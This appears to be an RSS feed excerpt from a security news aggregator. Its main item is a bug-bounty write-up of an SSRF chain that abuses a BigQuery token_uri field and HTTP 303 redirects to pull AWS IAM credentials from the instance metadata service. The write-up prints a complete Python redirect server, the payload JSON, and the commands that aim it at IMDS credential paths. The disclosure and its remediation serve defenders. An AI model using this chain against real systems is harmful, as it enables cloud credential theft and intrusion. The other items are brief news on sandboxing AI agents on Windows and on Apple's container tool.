And yet here we are half an hour later with just a basic overview of the subject. </p>

<p>

</p>

<p>
83</p>

<p>
I hope you found this interesting and informative.</p>

<p>
Please let us know in the comments if you think that I have done anything incorrectly, or if you have another way of doing things.</p>

<p>

</p>

<p>
I hope to see you all again in another future episode of HPR.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4678/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Windows Adds Microsoft Execution Containers to Secure AI Agent Workflows]]></title>
<description><![CDATA[Microsoft has introduced Microsoft Execution Containers (MXC), a new security capability designed to protect AI agent workflows on Windows, marking a significant step toward making Windows more trustworthy for autonomous systems. AI agents are rapidly evolving beyond simple assistants into…
Read ...]]></description>
<link>https://tsecurity.de/de/3651833/it-security-nachrichten/windows-adds-microsoft-execution-containers-to-secure-ai-agent-workflows/</link>
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<pubDate>Tue, 07 Jul 2026 16:23:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced Microsoft Execution Containers (MXC), a new security capability designed to protect AI agent workflows on Windows, marking a significant step toward making Windows more trustworthy for autonomous systems. AI agents are rapidly evolving beyond simple assistants into…</p>
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<p>The post <a href="https://www.itsecuritynews.info/windows-adds-microsoft-execution-containers-to-secure-ai-agent-workflows/">Windows Adds Microsoft Execution Containers to Secure AI Agent Workflows</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Windows Adds Microsoft Execution Containers to Secure AI Agent Workflows]]></title>
<description><![CDATA[Microsoft has introduced Microsoft Execution Containers (MXC), a new security capability designed to protect AI agent workflows on Windows, marking a significant step toward making Windows more trustworthy for autonomous systems. AI agents are rapidly evolving beyond simple assistants into system...]]></description>
<link>https://tsecurity.de/de/3651789/it-security-nachrichten/windows-adds-microsoft-execution-containers-to-secure-ai-agent-workflows/</link>
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<pubDate>Tue, 07 Jul 2026 16:10:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced Microsoft Execution Containers (MXC), a new security capability designed to protect AI agent workflows on Windows, marking a significant step toward making Windows more trustworthy for autonomous systems. AI agents are rapidly evolving beyond simple assistants into systems that can read files, execute code, interact with services, and automate multi-step tasks. While […]</p>
<p>The post <a href="https://cybersecuritynews.com/microsoft-execution-containers-secure-ai-workflows/">Windows Adds Microsoft Execution Containers to Secure AI Agent Workflows</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration.]]></title>
<description><![CDATA[The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration. A Deep Dive Into Escalating a Blind SSRF to Full ReadA POST to IMDS may fail — but a redirect can quietly turn it into something else.This writeup documents the chain from a URL typed field inside a service ...]]></description>
<link>https://tsecurity.de/de/3651407/hacking/the-http-303-ssrf-hack-from-python-http-client-defaults-to-aws-credential-exfiltration/</link>
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<pubDate>Tue, 07 Jul 2026 13:54:49 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration. A Deep Dive Into Escalating a Blind SSRF to Full Read</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*NCA12wxa9E9fNJ6A.jpeg"></figure><blockquote>A POST to IMDS may fail — but a redirect can quietly turn it into something else.</blockquote><p>This writeup documents the chain from a URL typed field inside a service account credential JSON to live AWS IAM credentials on a Kubernetes worker node. The chain depends on four components composing into a single vulnerability. A URL accepting field with no allowlist, an HTTP client with default redirect handling, an unauthenticated metadata service, and an error path that reflected response content. Any one of them, configured differently, breaks the exploit.</p><p>Four components compose into a single vulnerability. None of them is a bug alone. The composition is.</p><h3>The Field</h3><p>The platform had a feature for connecting customer-owned data warehouses. Snowflake, Redshift, Databricks, BigQuery, all four supported. The customer hands over connection parameters, the platform pulls user data out of the warehouse on a schedule. A perfectly reasonable B2B integration, the kind that exists in every modern SaaS product.</p><p>It is also, by design, outbound HTTP from the platform to a destination the customer controls. That sentence is the entire reason I looked at this feature first.</p><p>Three of the four warehouses authenticate the way you’d expect: username and password, JDBC string, host plus access token. BigQuery is the odd one out. BigQuery authenticates with a Google service account JSON, a multi-field credential blob whose contents drive an OAuth 2.0 flow. One of those fields is called token_uri.</p><p>In plain language, token_uri is the URL the auth library will POST to when it wants an OAuth token. I opened the BigQuery setup page and watched the test connection request fly across DevTools. There it was, nested inside a JSON string inside a JSON object:</p><pre>"security_config": {<br>  "service_account_creds": "{\"type\":\"service_account\",\"private_key\":\"...\",\"token_uri\":\"https://oauth2.googleapis.com/token\",\"client_email\":\"...\"}"<br>}</pre><p>A user-controlled URL field, embedded two levels deep, going straight to the backend. The dashboard wasn’t validating it. The frontend wasn’t even parsing the inner JSON. Whatever the customer typed into the credentials blob, the server received verbatim.</p><p>The endpoint did exactly what its name promised: test a connection. The field did exactly what its name promised: hold a token URI. The chain was already in the schema.</p><h3>The First Echo</h3><p>The polite thing was to test the assumption before building anything on top of it. I set up an OOB host through Interactsh and put its URL into token_uri</p><pre>"token_uri": "https://[oob-host].oast.pro/REDACTED-probe-1"</pre><p>Then I sent the test connection request with a minimal but valid BigQuery service account blob. A self-generated PKCS8 RSA key, a plausible client email, a project and dataset that didn’t need to exist because the test would fail at the auth step before it ever tried to hit a real BigQuery project.</p><p>Within a second, the Interactsh client lit up:</p><pre>[REDACTED-OOB-HOST].oast.pro received HTTP interaction from [REDACTED-AWS-IP]<br>POST /probe-1 HTTP/1.1<br>Host: [REDACTED-OOB-HOST].oast.pro<br>User-Agent: google-auth/2.x python-requests/2.x<br>Content-Type: application/x-www-form-urlencoded<br>...<br>grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&amp;assertion=&lt;JWT&gt;That one interaction told me several things at once:</pre><p>The primitive was real, the verb was POST, the body was OAuth-shaped. It was enough to write up as a standalone finding, and I did. An authenticated user could force the server to make outbound HTTP POSTs to arbitrary URLs. low severity, submitted.</p><p>But I wouldn’t happy with it.</p><h3>No Callback</h3><p>AWS EKS nodes run with an IAM role attached. Code that wants AWS API access asks the node’s IAM role for temporary credentials through the Instance Metadata Service at 169.254.169.254. Anything that touches S3, ECR, CloudWatch, KMS goes through this path.</p><p>IMDS is a link-local address, reachable only from inside the EC2 instance itself. It returns plaintext metadata and JSON-formatted credentials to anyone on the box that knows the path.</p><p>If the platform’s worker pod could reach IMDS, and if I could make an authenticated HTTP request to IMDS through the token_uri primitive, the response would contain live IAM credentials for the EKS node role. That is the highest-value outcome this kind of SSRF can possibly produce. Everything else is commentary.</p><p>I started with the obvious:</p><pre>"token_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"Generic warehouse-connection error back. Nothing from IMDS reflected. Same story with role-name guesses in the URL.</pre><p>The response came back fast: a generic warehouse-connection error. Nothing from IMDS. I tried again with a role name guessed from common EKS naming conventions. Same generic error.</p><p>That was strange. The primitive was working. Interactsh had already proven that. Pointing it at IMDS produced nothing.</p><p>Two possibilities, in plain terms.</p><ul><li>The pod is being egress-filtered at the network layer. IMDS is unreachable. There is no door.</li><li>Or, the pod can reach IMDS, but the HTTP exchange is failing for some reason I don’t yet understand. The door exists, but only opens one way.</li></ul><p>Those two diagnoses lead to completely different next moves. So before guessing, I measured..</p><h3>Three Numbers</h3><p>Three payloads. Thirty seconds apart. One question.</p><ul><li><strong>External server I controlled</strong> (http://[oob-host].oast.pro/) came back in ~1.5 seconds.</li><li><strong>Unroutable IP</strong> (http://10.255.255.1/, RFC 5737 space, no router on earth has a path to it) came back in ~28 seconds.</li><li><strong>IMDS itself</strong> (http://169.254.169.254/...) came back in ~0.34 seconds.</li></ul><p>The pattern is unambiguous.</p><p>The external OOB host takes 1.5 seconds because that is a real internet round trip.</p><p>The unroutable address takes 28 seconds because that is the default connect timeout in the requests library. The TCP stack gives up on a destination that does not exist.</p><p>IMDS takes 0.34 seconds. That is not a timeout. That is a successful TCP connection and a completed HTTP exchange, finished fast because the response was small. IMDS is reachable from the pod. The traffic is not being filtered.</p><p>Which meant the problem had to be at the HTTP layer. I went back and re-read the IMDSv1 documentation. There it was, sitting in the AWS docs like it had been waiting for me:</p><blockquote><em>IMDS responds with HTTP 405 Method Not Allowed for non-GET requests to metadata paths.</em></blockquote><p>Of course it does. google-auth POSTs. IMDS answers GETs. The POST gets a 405 with no body, google-auth has no access_token to parse, the surrounding worker code catches the exception, and the server returns a generic warehouse-connection error. The SSRF was working perfectly. The protocol on my side and the protocol on IMDS’s side simply didn’t match.</p><p>I sat with it for a day. Submitted the standalone finding. Came back the next morning and tried to ask the question differently.</p><p>Not how do I make the client send GET instead of POST.</p><p>That was the question I had been failing to answer.</p><p>The better question was:</p><p><em>What if I could let the client keep speaking POST, and have something in the middle translate it?</em></p><h3>The Idea: HTTP 303 See Other</h3><p>The answer came from a piece of RFC trivia I had seen in other people’s SSRF writeups over the years, finally landing on the right problem.</p><p>HTTP 303 See Other is defined, per RFC 7231 §6.4.4, to convert the caller’s HTTP method to GET when following the redirect.</p><p>Read that twice.</p><p>301 preserves the method, depending on the client.</p><p>302 is ambiguous, and most clients do the wrong thing for legacy reasons.</p><p>307 and 308 explicitly preserve the original method.</p><p>303 is the only redirect code in the standard whose explicit purpose is to change POST to GET.</p><p>It was designed for exactly that. The redirect-after-submit pattern in classic web forms. Submit via POST, get back a 303, follow it as a GET, render the result page. A pattern old enough to predate the AJAX era, now sitting inside a library’s default parameter.</p><p>The question was whether Python’s requests library, which google-auth wraps, actually implements this. I went and read the source. The SessionRedirectMixin.rebuild_method function contains, paraphrased, the following:</p><pre>if response.status_code == codes.see_other and method != 'HEAD':<br>    method = 'GET'</pre><p>It does. Cleanly. On a 303 response, the method is rewritten to GET. The body is stripped. A new request is constructed and sent to whatever URL is in the Location header.</p><p>I checked google-auth too. It uses requests.Session() with no redirect modifications and allow_redirects=True left at the library default. Whatever the final response is, even three redirects deep, gets parsed as an OAuth token document.</p><h3>The Full Chain</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mbmWywejUSsBjzPxwoPdLw.png"></figure><p>Drawn out, the chain looks like this:</p><p>1. The attacker creates a service account JSON containing an attacker-controlled token_uri and submits it through the application’s connection-testing functionality.</p><p>2. The application forwards the supplied JSON to the backend worker without validating the destination URL.</p><p>3. The backend uses the google-auth library to generate a signed JWT and sends it to the attacker-controlled token_uri.</p><p>4. The attacker-controlled server records the incoming request and responds with a 303 See Other redirect pointing to the AWS Instance Metadata Service (IMDS) at 169.254.169.254.</p><p>5. Because redirects are automatically followed, the original POST request is rewritten into a GET request and sent to the metadata service.</p><p>6. AWS IMDS returns the IAM role credentials associated with the instance.</p><p>7. The google-auth library expects an OAuth token response, but instead receives AWS credential data and raises an exception.</p><p>8. The application includes the exception details in its error response and returns them to the user.</p><p>9. The attacker extracts the AWS AccessKeyId, SecretAccessKey, and SessionToken from the returned error message.</p><h3>Building the Redirect</h3><p>I needed a public server that would do three things.</p><ul><li>Accept any incoming HTTP request from the platform’s egress.</li><li>Log it in full, so I could see what google-auth was actually sending.</li><li>Respond with 303 See Other and a Location header pointing at whatever IMDS path I was probing.</li></ul><p>I wrote it in pure Python stdlib :</p><pre>from http.server import BaseHTTPRequestHandler, HTTPServer<br>import sys, datetime<br><br>TARGET = sys.argv[1] if len(sys.argv) &gt; 1 else "http://169.254.169.254/latest/meta-data/iam/info"<br><br>class Handler(BaseHTTPRequestHandler):<br>    def log_message(self, fmt, *args):<br>        print(f"[{datetime.datetime.utcnow().isoformat()}Z] {self.client_address[0]} {fmt % args}")<br><br>    def do_POST(self):<br>        length = int(self.headers.get("Content-Length", "0") or "0")<br>        body = self.rfile.read(length) if length else b""<br>        print(f"[POST] path={self.path} len={length}")<br>        print(f"[POST] headers:\n{self.headers}")<br>        if body:<br>            print(f"[POST] body (first 500B): {body[:500]!r}")<br>        print(f"[303] -&gt; {TARGET}")<br>        self.send_response(303)<br>        self.send_header("Location", TARGET)<br>        self.send_header("Content-Length", "0")<br>        self.end_headers()<br><br>    def do_GET(self):<br>        self.send_response(303)<br>        self.send_header("Location", TARGET)<br>        self.send_header("Content-Length", "0")<br>        self.end_headers()<br><br>if __name__ == "__main__":<br>    print(f"[*] Redirect target: {TARGET}")<br>    HTTPServer(("0.0.0.0", 7777), Handler).serve_forever()</pre><p>Bound to 0.0.0.0:7777. Port 7777 opened on my router. The IMDS target gets passed as a command-line argument, so I can change which file the redirect points at without rebuilding anything.</p><p>Then the payload itself, a BigQuery service account JSON with token_uri pointing at my server, embedded in a test connection request:</p><pre>{<br>  "app_group_id": "[REDACTED]",<br>  "data_warehouse_type": "bigquery",<br>  "project": "bugbounty-project",<br>  "dataset": "bugbounty_dataset",<br>  "security_config": {<br>    "service_account_name": "svc@project.iam.gserviceaccount.com",<br>    "service_account_creds": "{\"type\":\"service_account\",\"private_key\":\"&lt;PKCS8 RSA KEY&gt;\",\"token_uri\":\"http://[REDACTED-MY-IP]:7777/creds\",\"client_email\":\"svc@project.iam.gserviceaccount.com\",\"universe_domain\":\"googleapis.com\"}"<br>  }<br>}</pre><p>The private_key is a real 2048-bit RSA key I generated locally. It is not associated with any real Google service account. google-auth uses it only to sign the outbound JWT, and the JWT is never validated by anyone, because the OAuth server it is talking to is my redirect script, which never reads the signature. The key just has to be syntactically valid PKCS8 PEM that the library can load.</p><p>The client_email and universe_domain exist for the same reason: to make the JSON parse cleanly. None of them have to correspond to anything real.</p><h3>Does It Reflect?</h3><p>For the first shot, I did not aim at credentials. I pointed at /latest/meta-data/iam/info, which returns the InstanceProfileArn.</p><p>Two reasons.</p><p>I did not yet know the role name. I needed it to build a valid /security-credentials/ path.</p><p>And if the exploit worked, harmless metadata was a better first payload than live credentials. Less sensitive data to deal with under the Rules of Engagement, easier to validate cleanly, easier to write up.</p><p>Started the redirect server:</p><pre>python3 /tmp/redirect.py "http://169.254.169.254/latest/meta-data/iam/info"</pre><p>Fired the test connection request. About 1.4 seconds later, the response came back:</p><pre>{<br>  "result": "error",<br>  "message": "Error connecting to warehouse: Error executing SQL due to customer config: ('No access token in response.', {'Code': 'Success', 'LastUpdated': '[REDACTED-TIMESTAMP]', 'InstanceProfileArn': 'arn:aws:iam::[REDACTED]:instance-profile/[REDACTED-ROLE]', 'InstanceProfileId': '[REDACTED]'})"<br>}</pre><p>Read that slowly.</p><p>No access token in response is google-auth’s error when the token_uri response body does not parse as a valid OAuth token document.</p><p>The Python dict that follows it, with Code, LastUpdated, InstanceProfileArn, InstanceProfileId, is the literal body of the IMDS response. google-auth parsed it as JSON, failed to find an access_token, raised an exception, and the exception’s string representation included the parsed dict. The worker code wrapped the exception in its own error and returned the wrapped message back to me intact.</p><p>Three things became true at the same time.</p><ul><li>The 303 redirect chain works. POST converts to GET on the redirect, IMDS responds, the response comes home.</li><li>The reflection channel is open. Step 7, the gamble, paid off. Anything I can ask IMDS for, I can read.</li><li>And I now know the AWS account number and the EKS node role name.</li></ul><p>Meanwhile, the redirect server’s stdout:</p><pre>[REDACTED-TIMESTAMP] &lt;worker pod IP&gt; POST /creds HTTP/1.1<br>[POST] path=/creds len=710<br>[POST] headers:<br>Host: [REDACTED-MY-IP]:7777<br>User-Agent: google-auth/2.17.3 python-requests/2.31.0<br>Content-Type: application/x-www-form-urlencoded<br>...<br>[POST] body (first 500B): b'grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&amp;assertion=eyJhbGciOiJSUzI1NiIsImtpZCI6...'<br>[303] -&gt; http://169.254.169.254/latest/meta-data/iam/info</pre><p>That is google-auth making its expected OAuth POST, getting back the 303, and transparently following it to IMDS, exactly as the RFC says it should.</p><p>The chain was live.</p><h3>The Credentials</h3><p>I restarted the redirect server pointing at the role-specific credentials path:</p><pre>python3 /tmp/redirect.py \<br>"http://169.254.169.254/latest/meta-data/iam/security-credentials/[REDACTED-ROLE]"</pre><p>Fired the test connection request again. The response is reproduced verbatim because the entire finding lives inside this one response body:</p><pre>{<br>"result": "error",<br>"message": "Error connecting to warehouse: Error executing SQL due to customer config: ('No access token in response.', {'Code': 'Success', 'LastUpdated': '[REDACTED-TIMESTAMP]', 'Type': 'AWS-HMAC', 'AccessKeyId': '[REDACTED-ACCESS-KEY]', 'SecretAccessKey': '[REDACTED-SECRET]', 'Token': '[REDACTED-SESSION-TOKEN]', 'Expiration': '[REDACTED-TIMESTAMP]'})"<br>}</pre><p>The credentials are real. Live, time-limited, in AWS-HMAC format, meaning any AWS SDK in the world would accept them without modification. The session token is the giveaway. Static keys do not have session tokens. Only credentials minted from an instance metadata call do.</p><p>These came from the EKS node’s IAM role, minutes ago, signed by AWS’s metadata service. They would work right now, against the real AWS account, until the timestamp at the bottom.</p><p>For completeness, one more probe, the instance identity document at /latest/dynamic/instance-identity/document, which returns placement metadata:</p><pre>{<br>"accountId": "[REDACTED]",<br>"architecture": "x86_64",<br>"availabilityZone": "us-east-1a",<br>"imageId": "[REDACTED]",<br>"instanceId": "[REDACTED]",<br>"instanceType": "c6i.8xlarge",<br>"pendingTime": "[REDACTED-TIMESTAMP]",<br>"privateIp": "172.16.21.236",<br>"region": "us-east-1",<br>"version": "2017–09–30"<br>}</pre><p>That filled out the rest of the picture.</p><p>Three lines on the writeup ledger.</p><ul><li>EC2 instance metadata leak. Medium on its own.</li><li>IAM instance profile disclosure. Medium on its own.</li><li>Live, time-limited AWS IAM credentials for the EKS node role. Critical.</li></ul><p>Delivered through a single endpoint reachable by any authenticated dashboard user, the three together add up to a cross-scope pivot from “I have a regular user account” to “I am the IAM role of the dev-cluster Kubernetes worker nodes.”</p><h3>Four Coincidences in a Row</h3><p>The chain works because four things are simultaneously true. If any one of them were different, it falls apart.</p><p>That makes each one a potential mitigation point. And each one, in isolation, is defensible. <strong>token_uri is not validated against an allowlist on the backend</strong>. The service account JSON is treated as opaque customer-provided configuration. There is no check that the URL points to a Google-controlled domain. In the adversarial case, the same field becomes an arbitrary outbound URL primitive.</p><p><strong>The requests library follows redirects by default. Including 303.</strong></p><p>allow_redirects=True is the default on every HTTP method in the library. google-auth does not override it. The 303 handling inside requests is RFC-compliant: POST converts to GET. No bug in requests. No bug in google-auth. Just a composition hazard.</p><p><strong>IMDSv1 is enabled and reachable from the worker pod.</strong></p><p>The EC2 node has IMDSv1 enabled, and the Kubernetes network policy allows pods to reach 169.254.169.254. A single HttpTokens=required instance metadata option would have broken the chain, because the attacker cannot perform IMDSv2’s PUT-first TTL token handshake through a one-shot redirect.</p><p><strong>The error path includes the raw exception string in the user-visible response.</strong></p><p>This is the reflection channel.</p><p>Without it, the SSRF is still there, but the read primitive degrades to a blind one. With it, the read is fully content-disclosing. Fix any one of these and the exploit breaks. Fix all four and the platform is resilient. The chain is not a bug in any one component. It is a property of how four reasonable components compose.</p><h3>Remediation and Verification</h3><p>A few days after reporting, I came back to check.</p><p>I re-ran the exact same payload, fresh session, fresh account, same redirect server, same IP. The response changed:</p><pre>{<br>  "error": "... Untrusted token_uri in service account credentials: http://[attacker-ip]:7777/creds. Only standard Google OAuth2 token endpoints are allowed: frozenset({'https://oauth2.googleapis.com/token', 'https://accounts.google.com/o/oauth2/token'})"<br>}</pre><p>HTTP 400. Blocked at input validation.</p><p>I also tested a legitimate Google token_uri to confirm the fix did not break working integrations. The request returned 201 Created.</p><p>The team chose the allowlist approach and implemented it at the field-parsing layer, which is the right place, because every code path that handles a service account JSON inherits the protection for free.</p><p>They did not pursue allow_redirects=False directly in google-auth, which is fine. The allowlist makes the redirect behavior moot. The frozenset in the error message is the Python giveaway that the validation lives in the same worker that previously called google-auth.</p><p>Right layer. Right shape. Shipped fast.</p><p>Vulnerability closed.</p><p>The single observation I want to leave for anyone reading this, defender or researcher :</p><blockquote><strong>Make an outbound HTTP request to this URL <em>is the single most dangerous feature a web application can expose. Treat every field that accepts one as if it were `eval()` of a URL, because functionally, that is what it is.</em></strong></blockquote><p>Every time. Every field. Every integration. Every <em>just pass it through to the library</em>.</p><p><em>When a primitive gives you the wrong verb, do not give up on the primitive. Give up on the verb.</em></p><p>It was a composition hazard dressed up as a configuration option, waiting in the schema of a well-known credential format for anyone who cared to read the token_uri field and ask what it did.</p><p>The chain is patched.</p><p>The pattern isn’t.</p><p>Try 303.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=bfaece6c3805" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-http-303-hack-from-python-http-client-defaults-to-aws-credential-exfiltration-a-deep-dive-bfaece6c3805">The HTTP 303 SSRF Hack : From Python HTTP Client Defaults to AWS Credential Exfiltration.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Microsoft Introduces Execution Containers to Secure AI Agents on Windows]]></title>
<description><![CDATA[Microsoft has introduced a new security architecture to safeguard autonomous AI agents on Windows, unveiling the Microsoft Execution Containers (MXC) SDK at Build 2026. The move reflects a growing industry concern: as AI agents evolve from passive assistants into autonomous…
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<link>https://tsecurity.de/de/3650970/it-security-nachrichten/microsoft-introduces-execution-containers-to-secure-ai-agents-on-windows/</link>
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<pubDate>Tue, 07 Jul 2026 11:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<content:encoded><![CDATA[<p>Microsoft has introduced a new security architecture to safeguard autonomous AI agents on Windows, unveiling the Microsoft Execution Containers (MXC) SDK at Build 2026. The move reflects a growing industry concern: as AI agents evolve from passive assistants into autonomous…</p>
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<p>The post <a href="https://www.itsecuritynews.info/microsoft-introduces-execution-containers-to-secure-ai-agents-on-windows/">Microsoft Introduces Execution Containers to Secure AI Agents on Windows</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft Adds Windows Platform Security Controls for AI Agents]]></title>
<description><![CDATA[Microsoft has introduced a new security infrastructure for Windows to contain AI agents as they gain autonomy across enterprise and consumer systems. Announced at Build 2026, the update centers on the Microsoft Execution Containers (MXC) SDK, a policy-driven execution layer designed to sandbox ag...]]></description>
<link>https://tsecurity.de/de/3650899/it-security-nachrichten/microsoft-adds-windows-platform-security-controls-for-ai-agents/</link>
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<pubDate>Tue, 07 Jul 2026 10:38:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced a new security infrastructure for Windows to contain AI agents as they gain autonomy across enterprise and consumer systems. Announced at Build 2026, the update centers on the Microsoft Execution Containers (MXC) SDK, a policy-driven execution layer designed to sandbox agent behavior without stifling functionality. AI agents have evolved beyond simple query-response […]</p>
<p>The post <a href="https://cyberpress.org/microsoft-windows-platform-security-controls/">Microsoft Adds Windows Platform Security Controls for AI Agents</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft Introduces Execution Containers to Secure AI Agents on Windows]]></title>
<description><![CDATA[Microsoft has introduced a new security architecture to safeguard autonomous AI agents on Windows, unveiling the Microsoft Execution Containers (MXC) SDK at Build 2026. The move reflects a growing industry concern: as AI agents evolve from passive assistants into autonomous systems capable of exe...]]></description>
<link>https://tsecurity.de/de/3650897/it-security-nachrichten/microsoft-introduces-execution-containers-to-secure-ai-agents-on-windows/</link>
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<pubDate>Tue, 07 Jul 2026 10:38:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced a new security architecture to safeguard autonomous AI agents on Windows, unveiling the Microsoft Execution Containers (MXC) SDK at Build 2026. The move reflects a growing industry concern: as AI agents evolve from passive assistants into autonomous systems capable of executing code, accessing files, and orchestrating workflows, they introduce significant security and […]</p>
<p>The post <a href="https://gbhackers.com/microsoft-introduces-execution-containers-to-secure-ai-agents/">Microsoft Introduces Execution Containers to Secure AI Agents on Windows</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple Container: Open-source tool for Linux containers on the Mac]]></title>
<description><![CDATA[Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned…
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<pubDate>Tue, 07 Jul 2026 07:38:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned…</p>
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<p>The post <a href="https://www.itsecuritynews.info/apple-container-open-source-tool-for-linux-containers-on-the-mac/">Apple Container: Open-source tool for Linux containers on the Mac</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple Container: Open-source tool for Linux containers on the Mac]]></title>
<description><![CDATA[Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned for Apple silicon. It cr...]]></description>
<link>https://tsecurity.de/de/3650534/it-security-nachrichten/apple-container-open-source-tool-for-linux-containers-on-the-mac/</link>
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<pubDate>Tue, 07 Jul 2026 07:24:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<content:encoded><![CDATA[<p>Developers on Apple silicon Macs have run Linux containers through software built around a single shared virtual machine for years. Apple’s open-source Container project gives each Linux workload its own lightweight virtual machine. Container is written in Swift and tuned for Apple silicon. It creates and runs Linux containers as lightweight virtual machines, and it works with OCI-compatible images, so a developer can pull from and push to any standard registry. Images built with it … <a href="https://www.helpnetsecurity.com/2026/07/07/apple-container-open-source-linux-mac/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/07/apple-container-open-source-linux-mac/">Apple Container: Open-source tool for Linux containers on the Mac</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft wants to keep your AI agents from going rogue]]></title>
<description><![CDATA[Microsoft has introduced Microsoft Execution Containers (MXC), a cross-platform, policy-driven execution layer for AI agents on Windows and Windows Subsystem for Linux (WSL), now available in early preview. Updated Agent 365 platform (Source: Microsoft) Developers can define constraints for their...]]></description>
<link>https://tsecurity.de/de/3650532/it-security-nachrichten/microsoft-wants-to-keep-your-ai-agents-from-going-rogue/</link>
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<pubDate>Tue, 07 Jul 2026 07:24:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has introduced Microsoft Execution Containers (MXC), a cross-platform, policy-driven execution layer for AI agents on Windows and Windows Subsystem for Linux (WSL), now available in early preview. Updated Agent 365 platform (Source: Microsoft) Developers can define constraints for their…</p>
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<p>The post <a href="https://www.itsecuritynews.info/microsoft-wants-to-keep-your-ai-agents-from-going-rogue/">Microsoft wants to keep your AI agents from going rogue</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Microsoft wants to keep your AI agents from going rogue]]></title>
<description><![CDATA[Microsoft has introduced Microsoft Execution Containers (MXC), a cross-platform, policy-driven execution layer for AI agents on Windows and Windows Subsystem for Linux (WSL), now available in early preview. Updated Agent 365 platform (Source: Microsoft) Developers can define constraints for their...]]></description>
<link>https://tsecurity.de/de/3650494/it-security-nachrichten/microsoft-wants-to-keep-your-ai-agents-from-going-rogue/</link>
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<pubDate>Tue, 07 Jul 2026 06:52:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
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<content:encoded><![CDATA[<p>Microsoft has introduced Microsoft Execution Containers (MXC), a cross-platform, policy-driven execution layer for AI agents on Windows and Windows Subsystem for Linux (WSL), now available in early preview. Updated Agent 365 platform (Source: Microsoft) Developers can define constraints for their applications and agents, and Windows enforces them at runtime through MXC. The SDK provides an abstraction layer over isolation primitives, eliminating the need for developers to manage low-level isolation details. “Containment bounds what agents can … <a href="https://www.helpnetsecurity.com/2026/07/07/microsoft-execution-containers-ai-agents-constraints/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/07/microsoft-execution-containers-ai-agents-constraints/">Microsoft wants to keep your AI agents from going rogue</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Why developers are over the cloud]]></title>
<description><![CDATA[You can be forgiven if you think the most important thing AWS ever sold developers was EC2. It’s not. No, AWS’s big gift to developers was permission to stop fretting about servers. That sounds obvious now, but it was close to magical at the time. Before the cloud, getting infrastructure meant wa...]]></description>
<link>https://tsecurity.de/de/3648443/ai-nachrichten/why-developers-are-over-the-cloud/</link>
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<pubDate>Mon, 06 Jul 2026 12:19:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
